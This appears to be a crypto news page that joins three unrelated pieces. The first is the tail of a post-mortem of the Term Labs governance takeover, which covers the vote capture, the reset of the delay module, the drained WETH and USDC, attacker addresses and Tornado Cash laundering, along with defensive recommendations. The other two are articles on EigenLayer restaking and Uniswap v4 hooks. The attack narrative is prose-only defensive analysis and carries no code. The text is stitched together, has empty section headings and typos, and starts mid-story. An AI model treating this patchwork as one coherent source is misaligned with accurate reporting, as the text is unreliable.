Six days later, with the voting window closed and almost nobody having voted against a majority the attacker already held, the proposal became executable. At about 06:25 UTC on August 23, the attacker called executeProposal(), recalling WETH from four strategies and pulling roughly 2,841.74 WETH out through the planted strategy contract.

Twenty-two minutes later, a second attacker wallet ran the identical playbook against five USDC vaults in a single transaction, where it held all of the voting power across every proposal it had opened on those vaults. That transaction drained approximately 1,679,639 USDC, which was later swapped into DAI.



This wasn’t a bug in Term’s core vault code. The root failure is that voting power depended on an opt-in wrapping step almost nobody took, so a deposit worth a few hundred dollars was enough to become the effective government of vaults holding millions, and that governance had the authority to disable its own safety delay.
The formal governance settings, a 50% support threshold, 5% minimum participation, and a roughly six-day voting window, weren’t reckless on their own, but they meant nothing once one wallet held almost all the active voting power. A zero minimum proposer-power requirement meant opening the proposal cost nothing, and the proposal’s own opening actions could reset the Zodiac Delay module’s cooldown and expiration to zero, removing the one control meant to slow exactly this kind of action before it executed.
Whether the delay module’s exposure to governance was an intentional design choice or a distinct authorization failure hasn’t been publicly explained.
Governance participation and concentration monitoring. A review should flag when a governance token’s actively-wrapped supply is thin enough that a small deposit can cross a majority threshold, and require a minimum active-participation floor before proposals gain force, not just a percentage-of-supply threshold.
Scope-limit what governance can touch. The Zodiac Delay module existed specifically to slow dangerous actions, but the same governance process could reset its own cooldown and expiration. A review would flag any proposal-executable action that can modify the safeguard meant to gate proposal-executable actions, and wall that off behind a separate, higher-friction control.
Title and content review for proposals, not just code review. A malicious proposal disguised as a routine curator veto item passed unnoticed for six days. Requiring a structured, machine-checkable diff of what a proposal actually changes, surfaced independently of its title, would have caught the delay-module reset regardless of what the proposal was called.
2,841.74 WETH and 1,679,639 USDC(swapped to DAI) drained from the vaults converged at a single address, 0xD5183d8BfC65a50863C62aF2538198A8288FFc13.

Stolen USDC was swapped into DAI and then transfer to another address 0x9210130f81c84d028DB83701fF379A79c9365135, and then swapped to ETH and deposited into tornado cash.


Since then, major ETH didn’t moved from attacher wallet, 300 of it moved out of the consolidation address to 0xC14007663A5bb9F13d4d2AEE8c6FE9075eF1d83e, and deposited to tornado cash.

Term Labs posts its first public acknowledgment, confirming a governance exploit hit its vaults, without giving a loss figure or technical explanation.
Term Labs follows up, confirming all Term Meta Vaults have been shut down and their DAO governance roles revoked, an irreversible step that blocks new deposits while leaving withdrawals open.
Attacker Wallets / EOAs
Key Transactions
No key was stolen and no line of core vault code was broken. Almost nobody wrapped their shares into Term’s governance token, so a deposit worth a few hundred dollars was enough to become the majority, and that majority had the authority to disable the one mechanism built to slow it down. The vault executed exactly what its governance authorized, the governance itself was the vulnerability. A safeguard that governance can switch off isn’t a safeguard, it’s a formality waiting for someone to notice nobody’s watching.
Originally Posted at Quillaudits
Term Labs $8.5M Governance Takeover Exploit (Explained) was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.
EigenLayer has crossed 5 million ETH in restaking deposits across operators, marking another major scale milestone for one of Ethereum’s most closely watched DeFi infrastructure protocols.
The figure includes native ETH and liquid staking token deposits, so it needs to be read carefully. Still, 5 million ETH is a huge number, and it shows how large the restaking market has become.
EigenLayer’s pitch has always been simple but ambitious: let staked ETH secure more than Ethereum alone.
That idea has pulled in capital quickly, but it also created a new set of risks that the market is still learning how to price.
For more details, visit the official Defillama platform.
Ethereum staking created a large pool of capital earning yield.
EigenLayer asks a natural next question: can that same economic security be reused to support other services? Those services, often called AVSs, can include data availability layers, oracle systems, middleware, rollup infrastructure, and other networks that need security.
For depositors, the attraction is extra yield.
For builders, the attraction is access to Ethereum-linked security without bootstrapping everything from zero.
That combination explains why restaking has grown so quickly.
Crossing 5 million ETH puts EigenLayer into a different scale category.
This is no longer a small experiment. It is a major concentration of staked assets being routed through a restaking system. That can strengthen Ethereum’s wider infrastructure economy, but it also means failures would matter.
The larger restaking gets, the more important risk controls become.
Slashing conditions, operator performance, AVS security, smart contract risk, and liquidity assumptions all need to be understood properly.
The deposit figure combines different kinds of exposure.
Native ETH restaking is not identical to restaking liquid staking tokens. LSTs already carry their own smart contract, liquidity, and staking-provider risks. Adding restaking on top can create a more layered risk profile.
That does not make the model bad.
It means users need to understand what they are depositing and what risks they are accepting.
A headline number is useful, but the composition behind it matters.
Deposits alone do not complete the story.
EigenLayer also needs Actively Validated Services that create real demand for restaked security. If AVSs grow and generate sustainable fees, the model becomes more compelling. If deposits grow faster than useful services, the market may start asking whether the yield is durable.
Protocol metrics point to 18 active security networks, which gives the milestone more context.
Restaking is not only attracting deposits. It is also building out the services that are meant to use those deposits.
Restaking has supporters and critics for good reason.
Supporters see it as a way to make Ethereum’s security more productive. Critics worry about correlated risk, complex slashing, leverage-like behavior, and contagion if restaking systems fail.
Both sides have a point.
EigenLayer’s 5 million ETH milestone shows the market wants the product. Now the harder work is making sure the risk is understood as clearly as the opportunity.
This article draws on EigenLayer restaking data from DeFiLlama and related protocol metrics.
This article was written by the News Desk and edited by Samuel Rae.
This report is based on information released by Defillama. at Defillama

Uniswap’s v4 hook library has expanded with automated liquidity management tools, giving developers more ways to customize how pools behave.
Hooks are one of the big ideas behind Uniswap v4. They let developers add custom logic around pools, including fee behavior, orders, liquidity management, and other actions that can happen before or after swaps.
That is powerful. It is also risky if handled badly.
So the expansion matters not just because it adds features, but because it pushes Uniswap deeper into a more modular DeFi design where developers can build specialized trading logic on top of the protocol.
For more details, visit the official Blog platform.
Uniswap became dominant by making decentralized trading simple.
At first, that meant basic liquidity pools. Then came concentrated liquidity. Now v4 is trying to make pools more programmable. Hooks are the mechanism for that.
Instead of every pool behaving in a fixed way, developers can add custom features.
That could mean dynamic fees that respond to volatility, automated liquidity adjustments, on-chain limit order behavior, or integrations with external risk tools. The idea is to let builders create more specialized markets without rebuilding an entire DEX from scratch.
That is a big shift.
Providing liquidity is not passive in the way many users first assume.
Markets move. Ranges go out of balance. Fees may not compensate for impermanent loss. Liquidity providers need tools to adjust positions, manage risk, and improve capital efficiency.
Automated liquidity tools can help.
They may make it easier for strategies to rebalance or respond to changing market conditions. That could attract more sophisticated liquidity providers, especially if the tools are reliable and transparent.
But automation does not eliminate risk. It changes where the risk sits.
The v4 hook model invites experimentation.
That is exciting, but users should not assume every hook is safe just because it touches Uniswap. Third-party implementations can carry independent smart contract risk, design flaws, audit gaps, or economic vulnerabilities.
That distinction is essential.
Uniswap Labs can publish libraries, directories, and templates. Developers can build on them. But users still need to understand which code they are interacting with and whether that code has been reviewed.
In DeFi, composability cuts both ways.
Uniswap v4 could make decentralized exchanges more flexible.
If hooks work well, pools can become more than simple swap venues. They can become customizable financial environments with built-in logic for pricing, liquidity, fees, and execution.
That could help Uniswap compete with other DEX designs and app-specific liquidity systems.
It could also make the protocol more attractive to developers who want control without leaving the Uniswap ecosystem.
The hook library expansion is a meaningful builder-side update.
It does not guarantee UNI price upside. It does not remove smart contract risk. It does not mean every future pool will be safer or more efficient.
But it does show Uniswap continuing to evolve from a single DEX model into a broader liquidity platform.
That is the interesting part. v4 is not just about swaps. It is about letting developers decide what a pool can do.
This article draws on Uniswap materials relating to its v4 hook library expansion.
This article was written by the News Desk and edited by Samuel Rae.
This report is based on information released by Blog. at Blog
